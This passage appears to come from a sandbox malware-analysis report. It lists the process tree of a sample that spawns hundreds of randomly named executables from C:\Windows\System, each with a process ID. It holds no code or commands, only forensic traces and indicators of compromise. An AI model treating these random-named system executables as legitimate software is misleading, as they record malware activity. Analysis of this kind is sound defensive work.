  PID:5056
- C:\Windows\System\Skyqnmh.exe
  C:\Windows\System\Skyqnmh.exe
  2⤵
  PID:5072
- C:\Windows\System\HpIgACZ.exe
  C:\Windows\System\HpIgACZ.exe
  2⤵
  PID:5088
- C:\Windows\System\YkyuDRL.exe
  C:\Windows\System\YkyuDRL.exe
  2⤵
  PID:5104
- C:\Windows\System\SYuiJNv.exe
  C:\Windows\System\SYuiJNv.exe
  2⤵
  PID:2384
- C:\Windows\System\NYqkGNS.exe
  C:\Windows\System\NYqkGNS.exe
  2⤵
  PID:3608
- C:\Windows\System\vcXmIJn.exe
  C:\Windows\System\vcXmIJn.exe
  2⤵
  PID:3864
- C:\Windows\System\cqHvbOs.exe
  C:\Windows\System\cqHvbOs.exe
  2⤵
  PID:3996
- C:\Windows\System\WxyDlWv.exe
  C:\Windows\System\WxyDlWv.exe
  2⤵
  PID:3352
- C:\Windows\System\JIAPlCU.exe
  C:\Windows\System\JIAPlCU.exe
  2⤵
  PID:2692
- C:\Windows\System\sffUZxy.exe
  C:\Windows\System\sffUZxy.exe
  2⤵
  PID:4172
- C:\Windows\System\qKDuBYh.exe
  C:\Windows\System\qKDuBYh.exe
  2⤵
  PID:4236
- C:\Windows\System\FYjrYih.exe
  C:\Windows\System\FYjrYih.exe
  2⤵
  PID:4300
- C:\Windows\System\ilIeJEY.exe
  C:\Windows\System\ilIeJEY.exe
  2⤵
  PID:4364
- C:\Windows\System\ldKUOIp.exe
  C:\Windows\System\ldKUOIp.exe
  2⤵
  PID:1552
- C:\Windows\System\HskEeFc.exe
  C:\Windows\System\HskEeFc.exe
  2⤵
  PID:4488
- C:\Windows\System\psaKWVX.exe
  C:\Windows\System\psaKWVX.exe
  2⤵
  PID:4552
- C:\Windows\System\oqoCujY.exe
  C:\Windows\System\oqoCujY.exe
  2⤵
  PID:4616
- C:\Windows\System\FvvvXpk.exe
  C:\Windows\System\FvvvXpk.exe
  2⤵
  PID:4652
- C:\Windows\System\AEWQdVM.exe
  C:\Windows\System\AEWQdVM.exe
  2⤵
  PID:4716
- C:\Windows\System\EthYAIx.exe
  C:\Windows\System\EthYAIx.exe
  2⤵
  PID:4780
- C:\Windows\System\LIWpchy.exe
  C:\Windows\System\LIWpchy.exe
  2⤵
  PID:2920
- C:\Windows\System\KwHpiqr.exe
  C:\Windows\System\KwHpiqr.exe
  2⤵
  PID:1196
- C:\Windows\System\FWcSdwP.exe
  C:\Windows\System\FWcSdwP.exe
  2⤵
  PID:4936
- C:\Windows\System\PbQvsCi.exe
  C:\Windows\System\PbQvsCi.exe
  2⤵
  PID:5000
- C:\Windows\System\FfogEbp.exe
  C:\Windows\System\FfogEbp.exe
  2⤵
  PID:2044
- C:\Windows\System\fHjJiZK.exe
  C:\Windows\System\fHjJiZK.exe
  2⤵
  PID:5096
- C:\Windows\System\HgVpANl.exe
  C:\Windows\System\HgVpANl.exe
  2⤵
  PID:3484
- C:\Windows\System\znnoZDH.exe
  C:\Windows\System\znnoZDH.exe
  2⤵
  PID:4108
- C:\Windows\System\ZeaZgBY.exe
  C:\Windows\System\ZeaZgBY.exe
  2⤵
  PID:2036
- C:\Windows\System\kPJFBJm.exe
  C:\Windows\System\kPJFBJm.exe
  2⤵
  PID:4456
- C:\Windows\System\Vaixnvj.exe
  C:\Windows\System\Vaixnvj.exe
  2⤵
  PID:4684
- C:\Windows\System\NBgsSgD.exe
  C:\Windows\System\NBgsSgD.exe
  2⤵
  PID:5124
- C:\Windows\System\aFxWlPu.exe
  C:\Windows\System\aFxWlPu.exe
  2⤵
  PID:5140
- C:\Windows\System\xniDEYJ.exe
  C:\Windows\System\xniDEYJ.exe
  2⤵
  PID:5156
- C:\Windows\System\xxhqIWo.exe
  C:\Windows\System\xxhqIWo.exe
  2⤵
  PID:5172
- C:\Windows\System\vGUwtuH.exe
  C:\Windows\System\vGUwtuH.exe
  2⤵
  PID:5188
- C:\Windows\System\dpPYvXi.exe
  C:\Windows\System\dpPYvXi.exe
  2⤵
  PID:5204
- C:\Windows\System\GyRPFmN.exe
  C:\Windows\System\GyRPFmN.exe
  2⤵
  PID:5220
- C:\Windows\System\lnEAoVj.exe
  C:\Windows\System\lnEAoVj.exe
  2⤵
  PID:5236
- C:\Windows\System\EQsQFOS.exe
  C:\Windows\System\EQsQFOS.exe
  2⤵
  PID:5252
- C:\Windows\System\LkgOuYk.exe
  C:\Windows\System\LkgOuYk.exe
  2⤵
  PID:5268
- C:\Windows\System\QDUtDny.exe
  C:\Windows\System\QDUtDny.exe
  2⤵
  PID:5284
- C:\Windows\System\PTuzBsA.exe
  C:\Windows\System\PTuzBsA.exe
  2⤵
  PID:5300
- C:\Windows\System\QLUvQCv.exe
  C:\Windows\System\QLUvQCv.exe
  2⤵
  PID:5316
- C:\Windows\System\pEbmBuj.exe
  C:\Windows\System\pEbmBuj.exe
  2⤵
  PID:5332
- C:\Windows\System\gxxBcOO.exe
  C:\Windows\System\gxxBcOO.exe
  2⤵
  PID:5348
- C:\Windows\System\cRfsfRB.exe
  C:\Windows\System\cRfsfRB.exe
  2⤵
  PID:5364
- C:\Windows\System\KBpMFVD.exe
  C:\Windows\System\KBpMFVD.exe
  2⤵
  PID:5380
- C:\Windows\System\EWLlnkR.exe
  C:\Windows\System\EWLlnkR.exe
  2⤵
  PID:5396
- C:\Windows\System\dPklYUE.exe
  C:\Windows\System\dPklYUE.exe
  2⤵
  PID:5412
- C:\Windows\System\ZTBgiNW.exe
  C:\Windows\System\ZTBgiNW.exe
  2⤵
  PID:5428
- C:\Windows\System\krdUiKF.exe
  C:\Windows\System\krdUiKF.exe
  2⤵
  PID:5444
- C:\Windows\System\fCUiwmF.exe
  C:\Windows\System\fCUiwmF.exe
  2⤵
  PID:5460
- C:\Windows\System\HbDdIew.exe
  C:\Windows\System\HbDdIew.exe
  2⤵
  PID:5476
- C:\Windows\System\qQOxBeD.exe
  C:\Windows\System\qQOxBeD.exe
  2⤵
  PID:5492
- C:\Windows\System\KuUxBhM.exe
  C:\Windows\System\KuUxBhM.exe
  2⤵
  PID:5508
- C:\Windows\System\iTaWtQK.exe
  C:\Windows\System\iTaWtQK.exe
  2⤵
  PID:5524
- C:\Windows\System\LvCPvFF.exe
  C:\Windows\System\LvCPvFF.exe
  2⤵
  PID:5540
- C:\Windows\System\gvKyixw.exe
  C:\Windows\System\gvKyixw.exe
  2⤵
  PID:6088
- C:\Windows\System\HYnulxa.exe
  C:\Windows\System\HYnulxa.exe
  2⤵
  PID:6104
- C:\Windows\System\ZCrCwSX.exe
  C:\Windows\System\ZCrCwSX.exe
  2⤵
  PID:6132
- C:\Windows\System\qWaMZon.exe
  C:\Windows\System\qWaMZon.exe
  2⤵
  PID:2232
- C:\Windows\System\KGqakIP.exe
  C:\Windows\System\KGqakIP.exe
  2⤵
  PID:4232
- C:\Windows\System\rJBlpsK.exe
  C:\Windows\System\rJBlpsK.exe
  2⤵
  PID:5132
- C:\Windows\System\FrexgMX.exe
  C:\Windows\System\FrexgMX.exe
  2⤵
  PID:1620
- C:\Windows\System\znHiXaf.exe
  C:\Windows\System\znHiXaf.exe
  2⤵
  PID:944
- C:\Windows\System\EqlQqnB.exe
  C:\Windows\System\EqlQqnB.exe
  2⤵
  PID:2640
- C:\Windows\System\JSZRguR.exe
  C:\Windows\System\JSZRguR.exe
  2⤵
  PID:1664
- C:\Windows\System\bKheFOu.exe
  C:\Windows\System\bKheFOu.exe
  2⤵
  PID:5200
- C:\Windows\System\rbUQeam.exe
  C:\Windows\System\rbUQeam.exe
  2⤵
  PID:3048
- C:\Windows\System\inkGkkW.exe
  C:\Windows\System\inkGkkW.exe
  2⤵
  PID:1736
- C:\Windows\System\LYGKNrb.exe
  C:\Windows\System\LYGKNrb.exe
  2⤵
  PID:2380
- C:\Windows\System\ovVPhKn.exe
  C:\Windows\System\ovVPhKn.exe
  2⤵
  PID:5552
- C:\Windows\System\NfhUwRg.exe
  C:\Windows\System\NfhUwRg.exe
  2⤵
  PID:5328
- C:\Windows\System\ZGHZzJV.exe
  C:\Windows\System\ZGHZzJV.exe
  2⤵
  PID:5488
- C:\Windows\System\ICnSiEm.exe
  C:\Windows\System\ICnSiEm.exe
  2⤵
  PID:6044
- C:\Windows\System\uwyzMVd.exe
  C:\Windows\System\uwyzMVd.exe
  2⤵
  PID:6072
- C:\Windows\System\dwhmvIj.exe
  C:\Windows\System\dwhmvIj.exe
  2⤵
  PID:2188
- C:\Windows\System\OlByYZE.exe
  C:\Windows\System\OlByYZE.exe
  2⤵
  PID:3308
- C:\Windows\System\omvHbZM.exe
  C:\Windows\System\omvHbZM.exe
  2⤵
  PID:1600
- C:\Windows\System\KcOLhJp.exe
  C:\Windows\System\KcOLhJp.exe
  2⤵
  PID:2644
- C:\Windows\System\bVdGSpX.exe
  C:\Windows\System\bVdGSpX.exe
  2⤵
  PID:2376
- C:\Windows\System\LXmzyAm.exe
  C:\Windows\System\LXmzyAm.exe
  2⤵
  PID:888
- C:\Windows\System\jsWtSNg.exe
  C:\Windows\System\jsWtSNg.exe
  2⤵
  PID:3180
- C:\Windows\System\rWUQDPk.exe
  C:\Windows\System\rWUQDPk.exe
  2⤵
  PID:3400
- C:\Windows\System\cTyoJAS.exe
  C:\Windows\System\cTyoJAS.exe
  2⤵
  PID:3464
- C:\Windows\System\kzEDeyW.exe
  C:\Windows\System\kzEDeyW.exe
  2⤵
  PID:3532
- C:\Windows\System\MtaSzPn.exe
  C:\Windows\System\MtaSzPn.exe
  2⤵
  PID:3596
- C:\Windows\System\NcAcwGD.exe
  C:\Windows\System\NcAcwGD.exe
  2⤵
  PID:3752
- C:\Windows\System\ypuXmnM.exe
  C:\Windows\System\ypuXmnM.exe
  2⤵
  PID:3852
- C:\Windows\System\rBkDcUW.exe
  C:\Windows\System\rBkDcUW.exe
  2⤵
  PID:3944
- C:\Windows\System\dQXYtib.exe
  C:\Windows\System\dQXYtib.exe
  2⤵
  PID:4040
- C:\Windows\System\VkzDNRW.exe
  C:\Windows\System\VkzDNRW.exe
  2⤵
  PID:2716
- C:\Windows\System\MnKZshd.exe
  C:\Windows\System\MnKZshd.exe
  2⤵
  PID:2272
- C:\Windows\System\SgPSqhu.exe
  C:\Windows\System\SgPSqhu.exe
  2⤵
  PID:3288
- C:\Windows\System\DSKBcKY.exe
  C:\Windows\System\DSKBcKY.exe
  2⤵
  PID:3676
- C:\Windows\System\VdWqird.exe
  C:\Windows\System\VdWqird.exe
  2⤵
  PID:4056
- C:\Windows\System\RvapJfN.exe
  C:\Windows\System\RvapJfN.exe
  2⤵
  PID:2856
- C:\Windows\System\CDWWdEK.exe
  C:\Windows\System\CDWWdEK.exe
  2⤵
  PID:4156
- C:\Windows\System\wbgNzPh.exe
  C:\Windows\System\wbgNzPh.exe
  2⤵
  PID:4252
- C:\Windows\System\MYTmUwU.exe
  C:\Windows\System\MYTmUwU.exe
  2⤵
  PID:4316
- C:\Windows\System\FHPlXai.exe
  C:\Windows\System\FHPlXai.exe
  2⤵
  PID:4408
- C:\Windows\System\jeWxbSO.exe
  C:\Windows\System\jeWxbSO.exe
  2⤵
  PID:4476
- C:\Windows\System\HgbeBhK.exe
  C:\Windows\System\HgbeBhK.exe
  2⤵
  PID:4572
- C:\Windows\System\fduUYAi.exe
  C:\Windows\System\fduUYAi.exe
  2⤵
  PID:4636
- C:\Windows\System\XsyrSRQ.exe
  C:\Windows\System\XsyrSRQ.exe
  2⤵
  PID:4760
- C:\Windows\System\KRVavYK.exe
  C:\Windows\System\KRVavYK.exe
  2⤵
  PID:4824
- C:\Windows\System\XqAajTV.exe
  C:\Windows\System\XqAajTV.exe
  2⤵
  PID:4888
- C:\Windows\System\rQBSXQc.exe
  C:\Windows\System\rQBSXQc.exe
  2⤵
  PID:4956
- C:\Windows\System\pPSlHmr.exe
  C:\Windows\System\pPSlHmr.exe
  2⤵
  PID:5020
- C:\Windows\System\yWjxFmI.exe
  C:\Windows\System\yWjxFmI.exe
  2⤵
  PID:5084
- C:\Windows\System\WivKDwe.exe
  C:\Windows\System\WivKDwe.exe
  2⤵
  PID:5112
- C:\Windows\System\GVItDRI.exe
  C:\Windows\System\GVItDRI.exe
  2⤵
  PID:5212
- C:\Windows\System\jQHltAd.exe
  C:\Windows\System\jQHltAd.exe
  2⤵
  PID:5148
- C:\Windows\System\yaflFoQ.exe
  C:\Windows\System\yaflFoQ.exe
  2⤵
  PID:1624
- C:\Windows\System\kJwTORf.exe
  C:\Windows\System\kJwTORf.exe
  2⤵
  PID:5064
- C:\Windows\System\HKryobZ.exe
  C:\Windows\System\HKryobZ.exe
  2⤵
  PID:4776
- C:\Windows\System\hQacwOQ.exe
  C:\Windows\System\hQacwOQ.exe
  2⤵
  PID:4520
- C:\Windows\System\dkzDIsd.exe
  C:\Windows\System\dkzDIsd.exe
  2⤵
  PID:4268
- C:\Windows\System\SNabXYV.exe
  C:\Windows\System\SNabXYV.exe
  2⤵
  PID:2648
- C:\Windows\System\UjRIKDO.exe
  C:\Windows\System\UjRIKDO.exe
  2⤵
  PID:5280
- C:\Windows\System\UpcXDwS.exe
  C:\Windows\System\UpcXDwS.exe
  2⤵
  PID:5344
- C:\Windows\System\vOFIrbH.exe
  C:\Windows\System\vOFIrbH.exe
  2⤵
  PID:5440
- C:\Windows\System\VPgKRGT.exe
  C:\Windows\System\VPgKRGT.exe
  2⤵
  PID:5504
- C:\Windows\System\YcQPlcl.exe
  C:\Windows\System\YcQPlcl.exe
  2⤵
  PID:4908
- C:\Windows\System\fqNOnBo.exe
  C:\Windows\System\fqNOnBo.exe
  2⤵
  PID:1584
- C:\Windows\System\GEHlyfp.exe
  C:\Windows\System\GEHlyfp.exe
  2⤵
  PID:268
- C:\Windows\System\BgkDhCh.exe
  C:\Windows\System\BgkDhCh.exe
  2⤵
  PID:1660
- C:\Windows\System\wYPgnCE.exe
  C:\Windows\System\wYPgnCE.exe
  2⤵
  PID:2208
- C:\Windows\System\ESQZioo.exe
  C:\Windows\System\ESQZioo.exe
  2⤵
  PID:5740
- C:\Windows\System\XocxmmC.exe
  C:\Windows\System\XocxmmC.exe
  2⤵
  PID:5580
- C:\Windows\System\fKDkEXi.exe
  C:\Windows\System\fKDkEXi.exe
  2⤵
  PID:5600
- C:\Windows\System\fQBRfSp.exe
  C:\Windows\System\fQBRfSp.exe
  2⤵
  PID:5624
- C:\Windows\System\ySWKNxI.exe
  C:\Windows\System\ySWKNxI.exe
  2⤵
  PID:5644
- C:\Windows\System\pUjPgQg.exe
  C:\Windows\System\pUjPgQg.exe
  2⤵
  PID:5676
- C:\Windows\System\RLIqwUr.exe
  C:\Windows\System\RLIqwUr.exe
  2⤵
  PID:5684
- C:\Windows\System\lwBPdLx.exe
  C:\Windows\System\lwBPdLx.exe
  2⤵
  PID:5700
- C:\Windows\System\yFyIDpG.exe
  C:\Windows\System\yFyIDpG.exe
  2⤵
  PID:5724
- C:\Windows\System\bcygFrb.exe
  C:\Windows\System\bcygFrb.exe
  2⤵
  PID:5736
- C:\Windows\System\GaPBabd.exe
  C:\Windows\System\GaPBabd.exe
  2⤵
  PID:5752
- C:\Windows\System\GzTySYO.exe
  C:\Windows\System\GzTySYO.exe
  2⤵
  PID:5772
- C:\Windows\System\oOcdZoL.exe
  C:\Windows\System\oOcdZoL.exe
  2⤵
  PID:4508
- C:\Windows\System\SOlKtcj.exe
  C:\Windows\System\SOlKtcj.exe
  2⤵
  PID:5800
- C:\Windows\System\Ympabvq.exe
  C:\Windows\System\Ympabvq.exe
  2⤵
  PID:1688
- C:\Windows\System\QkrDdsx.exe
  C:\Windows\System\QkrDdsx.exe
  2⤵
  PID:2244
- C:\Windows\System\RzWvFQP.exe
  C:\Windows\System\RzWvFQP.exe
  2⤵
  PID:816
- C:\Windows\System\ZiLmoLf.exe
  C:\Windows\System\ZiLmoLf.exe
  2⤵
  PID:2948
- C:\Windows\System\MpjaEQZ.exe
  C:\Windows\System\MpjaEQZ.exe
  2⤵
  PID:2624
- C:\Windows\System\IFdpATS.exe
  C:\Windows\System\IFdpATS.exe
  2⤵
  PID:2216
- C:\Windows\System\ytArdqj.exe
  C:\Windows\System\ytArdqj.exe
  2⤵
  PID:1720
- C:\Windows\System\oFriOXC.exe
  C:\Windows\System\oFriOXC.exe
  2⤵
  PID:1920
- C:\Windows\System\Dnzntnn.exe
  C:\Windows\System\Dnzntnn.exe
  2⤵
  PID:1848
- C:\Windows\System\sMdfICj.exe
  C:\Windows\System\sMdfICj.exe
  2⤵
  PID:2852
- C:\Windows\System\qgHSZgJ.exe
  C:\Windows\System\qgHSZgJ.exe
  2⤵
  PID:3016
- C:\Windows\System\KeqRecq.exe
  C:\Windows\System\KeqRecq.exe
  2⤵
  PID:1628
- C:\Windows\System\CcMkeRC.exe
  C:\Windows\System\CcMkeRC.exe
  2⤵
  PID:5856
- C:\Windows\System\qLOWWQA.exe
  C:\Windows\System\qLOWWQA.exe
  2⤵
  PID:5880
- C:\Windows\System\HeaFBHF.exe
  C:\Windows\System\HeaFBHF.exe
  2⤵
  PID:5896
- C:\Windows\System\VaPMMBB.exe
  C:\Windows\System\VaPMMBB.exe
  2⤵
  PID:5912
- C:\Windows\System\qvHHanF.exe
  C:\Windows\System\qvHHanF.exe
  2⤵
  PID:5932
- C:\Windows\System\jTzMdHq.exe
  C:\Windows\System\jTzMdHq.exe
  2⤵
  PID:5956
- C:\Windows\System\vcMtJBF.exe
  C:\Windows\System\vcMtJBF.exe
  2⤵
  PID:5972
- C:\Windows\System\qoDlbXV.exe
  C:\Windows\System\qoDlbXV.exe
  2⤵
  PID:6028
- C:\Windows\System\DLlqeRs.exe
  C:\Windows\System\DLlqeRs.exe
  2⤵
  PID:6052
- C:\Windows\System\xhViPXS.exe
  C:\Windows\System\xhViPXS.exe
  2⤵
  PID:6056
- C:\Windows\System\gXMvvDU.exe
  C:\Windows\System\gXMvvDU.exe
  2⤵
  PID:112
- C:\Windows\System\aOmyRWq.exe
  C:\Windows\System\aOmyRWq.exe
  2⤵
  PID:2452
- C:\Windows\System\EngpwXJ.exe
  C:\Windows\System\EngpwXJ.exe
  2⤵
  PID:5392
- C:\Windows\System\mKNCDBT.exe
  C:\Windows\System\mKNCDBT.exe
  2⤵
  PID:1784
- C:\Windows\System\rJhPYef.exe
  C:\Windows\System\rJhPYef.exe
  2⤵
  PID:1576
- C:\Windows\System\UxttaIh.exe
  C:\Windows\System\UxttaIh.exe
  2⤵
  PID:3240
- C:\Windows\System\JzUNzwe.exe
  C:\Windows\System\JzUNzwe.exe
  2⤵
  PID:5420
- C:\Windows\System\WDRoZRV.exe
  C:\Windows\System\WDRoZRV.exe
  2⤵
  PID:6120
- C:\Windows\System\ptXlUWO.exe
  C:\Windows\System\ptXlUWO.exe
  2⤵
  PID:3656
- C:\Windows\System\szSvBOU.exe
  C:\Windows\System\szSvBOU.exe
  2⤵
  PID:1996
- C:\Windows\System\GcOixmy.exe
  C:\Windows\System\GcOixmy.exe
  2⤵
  PID:3244
- C:\Windows\System\sHiVrOp.exe
  C:\Windows\System\sHiVrOp.exe
  2⤵
  PID:2060
- C:\Windows\System\qgJzlqz.exe
  C:\Windows\System\qgJzlqz.exe
  2⤵
  PID:3660
- C:\Windows\System\CXWmWEA.exe
  C:\Windows\System\CXWmWEA.exe
  2⤵
  PID:3912
- C:\Windows\System\vFaWgzL.exe
  C:\Windows\System\vFaWgzL.exe
  2⤵
  PID:4072
- C:\Windows\System\xXJELbI.exe
  C:\Windows\System\xXJELbI.exe
  2⤵
  PID:3432
- C:\Windows\System\ejhjEvC.exe
  C:\Windows\System\ejhjEvC.exe
  2⤵
  PID:1544
- C:\Windows\System\yUTeOUn.exe
  C:\Windows\System\yUTeOUn.exe
  2⤵
  PID:4124
- C:\Windows\System\LsBjBZW.exe
  C:\Windows\System\LsBjBZW.exe
  2⤵
  PID:4312
- C:\Windows\System\ZysmyDV.exe
  C:\Windows\System\ZysmyDV.exe
  2⤵
  PID:3980
- C:\Windows\System\rQohiDk.exe
  C:\Windows\System\rQohiDk.exe
  2⤵
  PID:4472
- C:\Windows\System\igjKudI.exe
  C:\Windows\System\igjKudI.exe
  2⤵
  PID:4012
- C:\Windows\System\BQtCTLf.exe
  C:\Windows\System\BQtCTLf.exe
  2⤵
  PID:4792
- C:\Windows\System\PDSxRsQ.exe
  C:\Windows\System\PDSxRsQ.exe
  2⤵
  PID:3416
- C:\Windows\System\vjbcSzA.exe
  C:\Windows\System\vjbcSzA.exe
  2⤵
  PID:3672
- C:\Windows\System\TLSSLdw.exe
  C:\Windows\System\TLSSLdw.exe
  2⤵
  PID:5244
- C:\Windows\System\RMtyAyh.exe
  C:\Windows\System\RMtyAyh.exe
  2⤵
  PID:4968
- C:\Windows\System\mbgLKeW.exe
  C:\Windows\System\mbgLKeW.exe
  2⤵
  PID:3740
- C:\Windows\System\vVbuohO.exe
  C:\Windows\System\vVbuohO.exe
  2⤵
  PID:5408
- C:\Windows\System\UsvSvBo.exe
  C:\Windows\System\UsvSvBo.exe
  2⤵
  PID:6100
- C:\Windows\System\wpSjWdF.exe
  C:\Windows\System\wpSjWdF.exe
  2⤵
  PID:4696
- C:\Windows\System\gbIiUtt.exe
  C:\Windows\System\gbIiUtt.exe
  2⤵
  PID:4988
- C:\Windows\System\IXHMpEI.exe
  C:\Windows\System\IXHMpEI.exe
  2⤵
  PID:5180
- C:\Windows\System\sfgqkfu.exe
  C:\Windows\System\sfgqkfu.exe
  2⤵
  PID:1836
- C:\Windows\System\JAEwjnC.exe
  C:\Windows\System\JAEwjnC.exe
  2⤵
  PID:5324
- C:\Windows\System\ezKGqAE.exe
  C:\Windows\System\ezKGqAE.exe
  2⤵
  PID:5568
- C:\Windows\System\VCwvUDJ.exe
  C:\Windows\System\VCwvUDJ.exe
  2⤵
  PID:5652
- C:\Windows\System\lReHxin.exe
  C:\Windows\System\lReHxin.exe
  2⤵
  PID:5704
- C:\Windows\System\fRnDLTS.exe
  C:\Windows\System\fRnDLTS.exe
  2⤵
  PID:2224
- C:\Windows\System\wYynHrf.exe
  C:\Windows\System\wYynHrf.exe
  2⤵
  PID:5768
- C:\Windows\System\SvriUht.exe
  C:\Windows\System\SvriUht.exe
  2⤵
  PID:4216
- C:\Windows\System\XYOLJNT.exe
  C:\Windows\System\XYOLJNT.exe
  2⤵
  PID:4536
- C:\Windows\System\MSuSKoX.exe
  C:\Windows\System\MSuSKoX.exe
  2⤵
  PID:2408
- C:\Windows\System\pwZKBzL.exe
  C:\Windows\System\pwZKBzL.exe
  2⤵
  PID:5808
- C:\Windows\System\ZjQpayi.exe
  C:\Windows\System\ZjQpayi.exe
  2⤵
  PID:5824
- C:\Windows\System\niIhjvW.exe
  C:\Windows\System\niIhjvW.exe
  2⤵
  PID:3112
- C:\Windows\System\BBPakzs.exe
  C:\Windows\System\BBPakzs.exe
  2⤵
  PID:2676
- C:\Windows\System\CAXrtGE.exe
  C:\Windows\System\CAXrtGE.exe
  2⤵
  PID:2860
- C:\Windows\System\SWTduFG.exe
  C:\Windows\System\SWTduFG.exe
  2⤵
  PID:2880
- C:\Windows\System\NvTCWLK.exe
  C:\Windows\System\NvTCWLK.exe
  2⤵
  PID:2672
- C:\Windows\System\TKlaLug.exe
  C:\Windows\System\TKlaLug.exe
  2⤵
  PID:900
- C:\Windows\System\zCBDCnN.exe
  C:\Windows\System\zCBDCnN.exe
  2⤵
  PID:5840
- C:\Windows\System\nXnbUwS.exe
  C:\Windows\System\nXnbUwS.exe
  2⤵
  PID:964
- C:\Windows\System\MMpHNRY.exe
  C:\Windows\System\MMpHNRY.exe
  2⤵
  PID:2908
- C:\Windows\System\SrJfAhH.exe
  C:\Windows\System\SrJfAhH.exe
  2⤵
  PID:2944
- C:\Windows\System\MmsUCSD.exe
  C:\Windows\System\MmsUCSD.exe
  2⤵
  PID:1888
- C:\Windows\System\cPfpWJU.exe
  C:\Windows\System\cPfpWJU.exe
  2⤵
  PID:5976
- C:\Windows\System\EdVXlgA.exe
  C:\Windows\System\EdVXlgA.exe
  2⤵
  PID:5924
- C:\Windows\System\OBpfDbb.exe
  C:\Windows\System\OBpfDbb.exe
  2⤵
  PID:5360
- C:\Windows\System\tMknllC.exe
  C:\Windows\System\tMknllC.exe
  2⤵
  PID:2680
- C:\Windows\System\SlJjVhY.exe
  C:\Windows\System\SlJjVhY.exe
  2⤵
  PID:3340
- C:\Windows\System\dMXgzDK.exe
  C:\Windows\System\dMXgzDK.exe
  2⤵
  PID:500
- C:\Windows\System\OyaeKjG.exe
  C:\Windows\System\OyaeKjG.exe
  2⤵
  PID:3784
- C:\Windows\System\mSJUWJQ.exe
  C:\Windows\System\mSJUWJQ.exe
  2⤵
  PID:4632
- C:\Windows\System\hhicXMd.exe
  C:\Windows\System\hhicXMd.exe
  2⤵
  PID:2076
- C:\Windows\System\nXIiWgv.exe
  C:\Windows\System\nXIiWgv.exe
  2⤵
  PID:5404
- C:\Windows\System\Oojtarl.exe
  C:\Windows\System\Oojtarl.exe
  2⤵
  PID:3736
- C:\Windows\System\ktwPfDx.exe
  C:\Windows\System\ktwPfDx.exe
  2⤵
  PID:4524
- C:\Windows\System\VUTwlZx.exe
  C:\Windows\System\VUTwlZx.exe
  2⤵
  PID:5864
- C:\Windows\System\JHRrOBG.exe
  C:\Windows\System\JHRrOBG.exe
  2⤵
  PID:5904
- C:\Windows\System\xzMzdOE.exe
  C:\Windows\System\xzMzdOE.exe
  2⤵
  PID:5952
- C:\Windows\System\HcfoGdn.exe
  C:\Windows\System\HcfoGdn.exe
  2⤵
  PID:6076
- C:\Windows\System\BogFqfL.exe
  C:\Windows\System\BogFqfL.exe
  2⤵
  PID:1316
- C:\Windows\System\QCirJFY.exe
  C:\Windows\System\QCirJFY.exe
  2⤵
  PID:2696
- C:\Windows\System\LiMbimS.exe
  C:\Windows\System\LiMbimS.exe
  2⤵
  PID:3528
- C:\Windows\System\krkEkro.exe
  C:\Windows\System\krkEkro.exe
  2⤵
  PID:3160
- C:\Windows\System\bipSknR.exe
  C:\Windows\System\bipSknR.exe
  2⤵
  PID:3816
- C:\Windows\System\dDxrjpa.exe
  C:\Windows\System\dDxrjpa.exe
  2⤵
  PID:4380
- C:\Windows\System\iwBoarR.exe
  C:\Windows\System\iwBoarR.exe
  2⤵
  PID:4952
- C:\Windows\System\DAkvepc.exe
  C:\Windows\System\DAkvepc.exe
  2⤵
  PID:4296
- C:\Windows\System\uNrtyQv.exe
  C:\Windows\System\uNrtyQv.exe
  2⤵
  PID:4732
- C:\Windows\System\zIYPWYN.exe
  C:\Windows\System\zIYPWYN.exe
  2⤵
  PID:5068
- C:\Windows\System\dLjcqhT.exe
  C:\Windows\System\dLjcqhT.exe
  2⤵
  PID:5664
- C:\Windows\System\xrSficS.exe
  C:\Windows\System\xrSficS.exe
  2⤵
  PID:5340
- C:\Windows\System\HIusjUl.exe
  C:\Windows\System\HIusjUl.exe
  2⤵
  PID:5032
- C:\Windows\System\AAuDBcf.exe
  C:\Windows\System\AAuDBcf.exe
  2⤵
  PID:5796
- C:\Windows\System\ZAiJhFR.exe
  C:\Windows\System\ZAiJhFR.exe
  2⤵
  PID:1744
- C:\Windows\System\cbHtRna.exe
  C:\Windows\System\cbHtRna.exe
  2⤵
  PID:5588
- C:\Windows\System\OoKlShe.exe
  C:\Windows\System\OoKlShe.exe
  2⤵
  PID:5632
- C:\Windows\System\xyXIMdb.exe
  C:\Windows\System\xyXIMdb.exe
  2⤵
  PID:3080
- C:\Windows\System\WwVOnVc.exe
  C:\Windows\System\WwVOnVc.exe
  2⤵
  PID:5472
- C:\Windows\System\jZxBrNq.exe
  C:\Windows\System\jZxBrNq.exe
  2⤵
  PID:1536
- C:\Windows\System\ukNcVZM.exe
  C:\Windows\System\ukNcVZM.exe
  2⤵
  PID:5968
- C:\Windows\System\JbROgMc.exe
  C:\Windows\System\JbROgMc.exe
  2⤵
  PID:5264
- C:\Windows\System\sfRglPJ.exe
  C:\Windows\System\sfRglPJ.exe
  2⤵
  PID:5748
- C:\Windows\System\GPxgEqN.exe
  C:\Windows\System\GPxgEqN.exe
  2⤵
  PID:5784
- C:\Windows\System\taJdOLl.exe
  C:\Windows\System\taJdOLl.exe
  2⤵
  PID:1472
- C:\Windows\System\ZdPKWxs.exe
  C:\Windows\System\ZdPKWxs.exe
  2⤵
  PID:3116
- C:\Windows\System\FQqQVcu.exe
  C:\Windows\System\FQqQVcu.exe
  2⤵
  PID:980
- C:\Windows\System\GynppOm.exe
  C:\Windows\System\GynppOm.exe
  2⤵
  PID:1000
- C:\Windows\System\hVtHhcv.exe
  C:\Windows\System\hVtHhcv.exe
  2⤵
  PID:2720
- C:\Windows\System\tZOVmdC.exe
  C:\Windows\System\tZOVmdC.exe
  2⤵
  PID:312
- C:\Windows\System\HGXxtzy.exe
  C:\Windows\System\HGXxtzy.exe
  2⤵
  PID:1716
- C:\Windows\System\Lgrikrg.exe
  C:\Windows\System\Lgrikrg.exe
  2⤵
  PID:4076
- C:\Windows\System\fiiAhOV.exe
  C:\Windows\System\fiiAhOV.exe
  2⤵
  PID:4668
- C:\Windows\System\GzKBUNP.exe
  C:\Windows\System\GzKBUNP.exe
  2⤵
  PID:5944
- C:\Windows\System\yuNoEDl.exe
  C:\Windows\System\yuNoEDl.exe
  2⤵
  PID:3372
- C:\Windows\System\FZDGDXL.exe
  C:\Windows\System\FZDGDXL.exe
  2⤵
  PID:5640
- C:\Windows\System\GLdVfiy.exe
  C:\Windows\System\GLdVfiy.exe
  2⤵
  PID:5764
- C:\Windows\System\rKZUHYX.exe
  C:\Windows\System\rKZUHYX.exe
  2⤵
  PID:5500
- C:\Windows\System\hcQiVPa.exe
